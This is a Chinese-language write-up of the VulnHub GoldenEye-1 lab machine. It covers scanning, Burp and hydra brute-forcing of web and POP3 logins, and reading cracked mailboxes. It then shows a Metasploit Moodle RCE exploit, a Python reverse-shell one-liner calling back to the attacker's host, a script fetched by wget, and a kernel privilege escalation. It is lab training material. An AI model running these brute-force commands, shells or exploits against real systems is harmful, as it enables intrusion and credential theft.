vulhub官网:https://www.vulnhub.com/entry/goldeneye-1,240/
百度云盘:https://pan.baidu.com/s/1nUb9NwtZkmgPcEbt7jWfXQ?pwd=90lq
靶机:10.10.10.155
kali :10.10.10.146
关于复现,我把所有的试错过程也直接写上出了,尽管对于最终获得flag步骤有点多余
主机发现、端口扫描、服务发现、js泄露、服务爆破、漏洞利用、本地提权、攻击代码修改
arp-scan(利用arp地址解析协议)进行快速局域网内存活主机探测)
发现存活主机后使用nmap(扫的慢、更准确)进行仔细扫描
nmap -sS -sV -T5 -A 10.10.10.155
关于nmap参数
-sS:使用 TCP SYN 扫描
-sV:探测开放端口以确定服务版本信息
-T5:使用激进的时间设置加快扫描速度
-A:启用操作系统检测、版本检测、脚本扫描和跟踪路由
开放25端口邮箱传输协议与80(2.4.7版本Apache)端口
smtp协议可以直接利用获取对方主机权限吗?(靶机大几率不会让你直接拿到主机权限)
还是通过web服务一步一步来进行渗透?
弱口令?
Apache 2.4.7版本历史漏洞能否利用成功?
页面提示到/sev-home目录下登陆
老规矩先尝试几个弱口令:admin/admin、admin/admin123……当然是都没有成功
打开burp抓一下登录包
Get传参,头部含有Authorization字段,Basic后面跟的应该是Base64编码的账号密码
经典Tomcat账号密码传输形式,尝试使用Burp Intruder模块进行暴力破解
攻击类型为sniper方式,Payload类型为Custom iterator
position1为用户名,position2为 :(英文半角),position3为密码
自定义组装后,使用Payload Processing进行base64编码
取消下方的Payload Enoding,直接开始攻击
爆破了两万多条,然并卵,会不会是前端js源码啥的泄露密码呢?
10.10.10.155 JS代码外部引用了terminal.js与index.css。
在terminal.js文件中有一段被注释的留言暴露了用户名以及加密的密码
这里一眼html编码,拿去进行解密(InvincibleHack3r),以及可能存在的用户名Boris、Natalya
html在线解码网站:https://www.lddgo.net/convert/htmlencode
使用boris/InvincibleHack3r登陆成功
登陆后提示发送邮件给GNO主管,to become(主动成为GoldenEYe的管理员)大几率是通过邮件钓鱼的方式获取(靶机模仿admin进行自动打开邮箱)
通过提示的POP3服务运行在高端口上,重新对靶机进行全端口扫描
nmap 10.10.10.150 -p-
发现存在55006与55007端口,使用nmap仔细对该服务进行探测
nmap 10.10.10.155 -sS -sV -T5 -A -p55006,55007 10.10.10.155
这里确实存在pop3服务,但是我对pop3协议不熟悉啊,不能直接通过网页访问该服务啊,也不知道怎么利用,于是直接在网上扫pop3协议怎么利用
概述:POP3,全名为“Post Office Protocol - Version 3”,即“邮局协议版本3”。是TCP/IP协议族中的一员,由RFC1939 定义。它被用户代理用来邮件服务器取得邮件。POP3采用的也是C/S通信模型
默认端口:110
nc -nv 10.10.10.155 55006-55007 #banner信息获取
nmap -p 55007 -sC "pop3-capabilities or pop3-ntlm-info" -sV 10.10.10.155
结合之前的拿到的弱口令,使用hydra进行POP3服务暴力破解
hydra -s PORT -l USERNAME -p PASSWORD -e nsr -t 22 IP pop3
hydra -s PORT -L USERNAME_LIST -P PASSWORD_LIST -e nsr -t 22 IP pop3
PORT:pop3服务所用端口号
USERNAME:单个用户名
PASSWORD:单个密码
USERNAME_LIST:用户名文件
PASSWORD_LIST:密码文件
IP:pop3服务器地址
echo -e 'natalya\nboris' > pop3_users.txt #-t是制表符 -n是换行
hydra -s 55007 -L pop3_users.txt -P /usr/share/wordlists/fasttrack.txt -t 22 10.10.10.155 pop3
[55007][pop3] host: 10.10.10.155 login: natalya password: bird
[55007][pop3] host: 10.10.10.155 login: boris password: secret1!
pop相关命令命令
POP commands:
USER whgojp 使用账号whgojp登陆
PASS password 输入密码
STAT 获取邮件服务器上的邮件数量和总大小
LIST 列出所有邮件及其大小。如果指定了消息号,则只显示该消息的大小
RETR n 检索消息号为n的邮件的全部内容
DELE n 删除邮件n
RSET 撤销任何更改,恢复到初始状态
QUIT 退出
TOP msg n 显示消息号为msg的邮件的前n行用于查看邮件的标题行
CAPA 获取服务器支持的能力列表
telnet方式
telnet IP PORT
IP:pop服务所用IP
PORT:pop服务所用端口号
nc方式
nc IP PORT
IP:pop服务所用IP
PORT:pop服务所用端口号
查看邮件内容,寻找有用信息
使用boris/secret1!登陆
第一封邮件来自admin:From: [email protected]
Boris, this is admin. You can electronically communicate to co-workers and students here. I’m not going to scan emails for security risks because I trust you and the other admins here.
第二封邮件来自natalya:From: natalya@ubuntu
Boris, I can break your codes!
第三封邮件来自alec:From: [email protected]
Boris,
Your cooperation with our syndicate will pay off big. Attached are the final access codes for GoldenEye. Place them in a hidden file within the root directory of this server then remove from this email. There can only be one set of these acces codes, and we need to secure them for the final execution. If they are retrieved and captured our plan will crash and burn!
Once Xenia gets access to the training site and becomes familiar with the GoldenEye Terminal codes we will push to our final stages…
PS - Keep security tight or we will be compromised.
使用natalya/bird登陆
第一封邮件来自root:From: root@ubuntu
Natalya, please you need to stop breaking boris’ codes. Also, you are GNO supervisor for training. I will email you once a student is designated to you.
Also, be cautious of possible network breaches. We have intel that GoldenEye is being sought after by a crime syndicate named Janus.
第二封邮件来自root:From: root@ubuntu
Ok Natalyn I have a new student for you. As this is a new system please let me or boris know if you see any config issues, especially is it’s related to security…even if it’s not, just enter it in under the guise of “security”…it’ll get the change order escalated without much hassle
Ok, user creds are:
username: xenia
password: RCP90rulez!
Boris verified her as a valid contractor so just create the account ok?
And if you didn’t have the URL on outr internal Domain: severnaya-station.com/gnocertdir
**Make sure to edit your host file since you usually work remote off-network…
Since you’re a Linux user just point this servers IP to severnaya-station.com in /etc/hosts.
整理一下:
用户名:xenia
密码:RCP90rulez!
域:severnaya-station.com
网址:severnaya-station.com/gnocertdir
根据邮件提示添加本地域名:severnaya-station.com
在本地kali host文件中添加域名解析
echo "10.10.10.155 severnaya-station.com" >> /etc/hosts #这里我一开始写入host文件,怎么ping都不对 emmm
如果ping severnaya-station.com/gnocertdir 还是公网地址的话,可能是本地DNS服务器没有更新或者缓存了旧的 DNS 映射。
尝试清除DNS缓存 sudo systemctl restart systemd-resolved
关于linux下/etc/hosts 文件与 /etc/resolv.conf文件的区别
相同点:这两个文件都是Linux系统中用于管理网络配置的文件,但它们各自有不同的作用和功能。
/etc/hosts: /etc/hosts文件是一个本地的 DNS 解析器。它包含了计算机的主机名与 IP 地址的映射关系,可以被用来手动地解析主机名到指定的 IP 地址上。当在浏览器或其他应用程序中输入主机名时,计算机首先会检查 /etc/hosts 文件来查找相应的 IP地址映射。如果该文件中没有找到匹配的映射,则系统将查询其他 DNS 服务器以获取正确的 IP 地址。
/etc/resolv.conf: /etc/resolv.conf 文件指定了计算机使用的 DNS服务器地址。该文件是由域名解析器(resolver,一个根据主机名解析IP地址的库)使用的配置文件
该文件是DNS域名解析的配置文件,它的格式很简单,每行以一个关键字开头,后接配置参数。
resolv.conf的关键字主要有四个,分别是:
nameserver #定义DNS服务器的IP地址
domain #定义本地域名
search #定义域名的搜索列表
sortlist #对返回的域名进行排序
总之,/etc/hosts 文件用于本地 DNS 解析,而 /etc/resolv.conf 文件则用于配置系统使用的 DNS 服务器。
详见:https://www.cnblogs.com/yjiajia/p/13180959.html
在首页看到了关键词moodle,一个PHP的开源CMS,
使用whatweb工具也是可以的
whatweb severnaya-station.com/gnocertdir
whatweb常用命令
whatweb 域名 #常规扫描
whatweb -i /root/target.txt #批量扫描
whatweb -v 域名 #详细回显扫描
whatweb有一个-aggression(简写为-a)参数,此参数后边可以跟数字1-4,分别对应4个不同的等级。
1、stealthy 每个目标发送一次http请求,并且会跟随重定向
2、unused 不可用(从2011年开始,此参数就是在开发状态
3、aggressive 每个目标发送少量的http请求,这些请求时根据参数为1时结果确定的
4、heavy 每个目标会发送大量的http请求,会去尝试每一个插件
whatweb -a 等级 域名 (可以和-v参数结合使用) #注:默认参数为1
whatweb --no-errors -t 255 内网网段 (可以和-a和-v参数结合使用)#快速本地扫描(扫描内网主机)
whatweb http://www.baidu.com --log-xml=baidu.xml #将扫描结果导出至文件内
尝试找最近的高危漏洞来对这个18年的靶场进行降维打击
当然是找直接拿shell的高危漏洞(最好是无条件利用)
这里试了一遍发现除了第0个不需要admin的密码,其他都需要管理员密码,但是第一个是针对3.x版moodle
意思就是还要获取admin的密码,不过这里还是有收获的得到了cms的版本号
……
邮件内容:欢迎 Xenia 成为 GoldenEye 培训中的新承包商,并提供一些联系信息和指示
在这里暴露了用户doak
接着对pop3服务进行爆破,顺便添加可能存在的admin用户
hydra -s 55007 -L pop3_users.txt -P /usr/share/wordlists/fasttrack.txt -t 22 10.10.10.155 pop3
使用doak/goat登录pop3服务读取邮件内容(枚举)
James,
If you’re reading this, congrats you’ve gotten this far. You know how tradecraft works right?
Because I don’t. Go to our training site and login to my account…dig until you can exfiltrate further information…
username: dr_doak
password: 4England!
使用该账号与密码登录后,发现s3cret.txt文件,提示一张图片的位置,进行拼接url
这里直接迷了,我以为图片直接给出admin的账号密码啥的
……
网上说是关于图片隐写方面的,不禁的勾起了我痛苦的CTF回忆
根据邮件提示让我们检查图片内容,下载图片后,可以使用:
binwalk(路由逆向分析工具)
exiftool(图虫)
strings(识别动态库版本指令)
等查看jpg文件底层内容
exiftool for-007.jpg
strings for-007.jpg
我这里使用的是winhex
获取到admin的密码之后,登陆邮箱,这里其实就可以直接利用前面的msf RCE漏洞了
管理员用户身份登陆邮箱应用程序
admin/xWinter1995x!
获取到之前收集的用户名以及moodle的版本号2.2.3与之前msf探测的2.2版本基本相符
1 exploit/multi/http/moodle_spelling_binary_rce 2013-10-30 excellent Yes Moodle Authenticated Spelling Binary RCE
use 1
set username admin
set password xWinter1995x!
set rhost severnaya-station.com
set targeturi /gnocertdir
set payload cmd/unix/reverse
set lhost 10.10.10.146
run
很遗憾这里并没有获得shell,通过info命令查看该exp利用的环境条件
根据reference提示链接获取一些信息
其中在https://packetstormsecurity.com/files/164479/Moodle-Authenticated-Spelling-Binary-Remote-Code-Execution.html
这个网站有很多EXP源码,整理的非常好
查了一些资料之后发现邮箱需要修改执行PSpellShell
使用admin登陆邮箱在设置中
Home / ▶ Site administration / ▶ Plugins / ▶ Text editors / ▶ TinyMCE HTML editor
PSpellShell后save
重新exploit一下,得到shell
查看当前目录,用户权限,是否有内网等信息
尝试去找flag文件
显然普通用户权限是不能读取到的,需要进一步提权
现在获得的shell并不是交互式,为了方便提权操作,将一个无 TTY 的 shell 转换为一个带有 TTY 的交互式 shell
TTY 是一个缩写,代表着 Teletype,它是一种早期的文字终端设备。在计算机早期,TTY是用于与计算机交互的主要方式之一,用户可以通过键盘输入指令并在屏幕上看到计算机的响应。
如今,TTY通常被用来描述一个连接到终端设备的进程或会话。TTY 可以在本地终端、SSH 连接、串口连接等各种情况下使用,它提供了一个交互式shell 界面,让用户可以在终端上执行命令和程序,查看输出,并进行其他操作。
在 Linux/Unix 系统中,TTY
有时也被称为控制台,可以通过 /dev/tty 文件路径来表示当前 TTY 设备。例如,如果您打开了一个终端窗口并在其中运行了一个shell,那么该 shell 将被分配到一个 TTY 设备上。
无 TTY 的 shell 是指一个没有任何输入/输出控制终端的命令行环境,它只能接受标准输入和输出,而不能像交互式 shell 一样与用户进行实时的交互。
带有 TTY 的交互式 shell 则是具有输入/输出控制终端的 shell,它可以直接与用户进行实时的交互,并且支持包含命令补全、上下键翻阅历史命令等高级功能。
将无 TTY 的 shell 转换为带有 TTY 的交互式 shell,以便更方便地与目标系统进行交互和执行操作
查看是否有tty
tty
python -c 'import pty; pty.spawn("/bin/bash")' ---将shell进行tty
因为linux自带python2环境,所以使用python执行
msf6 > use exploit/multi/handler
msf6 exploit(multi/handler) > set payload cmd/unix/reverse_bash
msf6 exploit(multi/handler) > set lhost 0.0.0.0
msf6 exploit(multi/handler) > set lport 7777
msf6 exploit(multi/handler) > exploit
因为msf比较方便。所以将shell转交至msf中
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.10.146",7777));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
== Upgrade Command Shell to Meterpreter==
试了一下getsystem当然没有成功 emmm
uname -a #查看内核版本
Linux ubuntu 3.13.0-32-generic #57-Ubuntu SMP Tue Jul 15 03:51:08 UTC 2014 x86_64 x86_64 x86_64 GNU/Linux
上传les.sh漏洞检测脚本
在kali上开启htpp服务
#kali
python3 -m http.server 80
#靶机
wget 10.10.10.146/les.sh shell状态下下载
chmod +x les.sh
./les.sh
这里使用脏牛漏洞,当然还有其他内核漏洞可以使用
适用范围:2.6.22<内核版本<3.9
通过编译器类型枚举,发现靶场没有gcc编译器,存在clang编译器
gcc --version
clang --version #效果同cc --version
这里像上次一样,我还是没有成功利用脏牛漏洞,编译的时候还是有问题,这里还是使用的上篇文章中利用的CVE-2015-1328(在les.sh脚本中同样有探测到)
同样需要修改为cc编译
正常编译还是会报错,但是不影响使用
新建root权限会话
这里也是成功拿到flag
缺少对弱口令的敏感性,靶机逻辑性太强,和CTF差不多,对POP邮件服务不熟悉,关于linux内核漏洞掌握不太好,当然还是学到不少东西的
2023-04-04 留念 By whgojp